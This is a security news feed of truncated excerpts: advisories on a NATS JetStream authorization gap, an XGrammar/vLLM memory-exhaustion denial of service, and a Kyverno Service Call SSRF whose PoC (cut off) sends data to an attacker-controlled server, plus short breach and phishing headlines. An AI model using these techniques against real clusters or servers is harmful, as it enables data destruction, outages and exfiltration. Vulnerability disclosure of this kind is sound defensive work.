Latest News

## Advisory The management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets. Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents. ### Affected versions NATS Server: * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27 ----- ## Original Report (Lightly edited to confirm some supposition and in the summary to use past tense) ### Summary nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move. In all cases, APIs are not properly restricted t...

A lawsuit over the Trump administration’s infamous Houthi Signal group chat has revealed what steps departments took to preserve the messages—and how little they actually saved.

### Impact This report is to highlight a vulnerability in XGrammar, a library used by the structured output feature in vLLM. The XGrammar advisory is here: https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-389x-67px-mjg3 The [xgrammar](https://xgrammar.mlc.ai/docs/) library is the default backend used by vLLM to support structured output (a.k.a. guided decoding). Xgrammar provides a required, built-in cache for its compiled grammars stored in RAM. xgrammar is available by default through the OpenAI compatible API server with both the V0 and V1 engines. A malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service by consuming all of the system's RAM. Note that even if vLLM was configured to use a different backend by default, it is still possible to choose xgrammar on a per-request basis using the `guided_decoding_backend` key of the `extra_body` field ...

### Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. ### Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster. https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls ### PoC Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-namespaces spec: rules: - name: call-extension match: any: - resources: kinds: - ConfigMap context: - name: result apiCall: method: P...

Intelligence from encrypted platforms like Sky ECC and ANOM has led to the arrest of 232 individuals and…

The remediated flaw gave adversaries a way to maintain access to the app through password resets.

Bad bots are becoming increasingly difficult to detect as they more easily mimic human behaviors and utilize evasion techniques, researchers say.

Researchers at Abnormal Security said threat actors are using a legitimate presentation and graphic design tool named "Gamma" in phishing attacks.

Keeping up with crypto tax laws in Europe feels like a constant hurdle. Regulations evolve, tax authorities demand…

4chan is down amid claims from a rival Soyjak forum user who says they’ve breached the site and…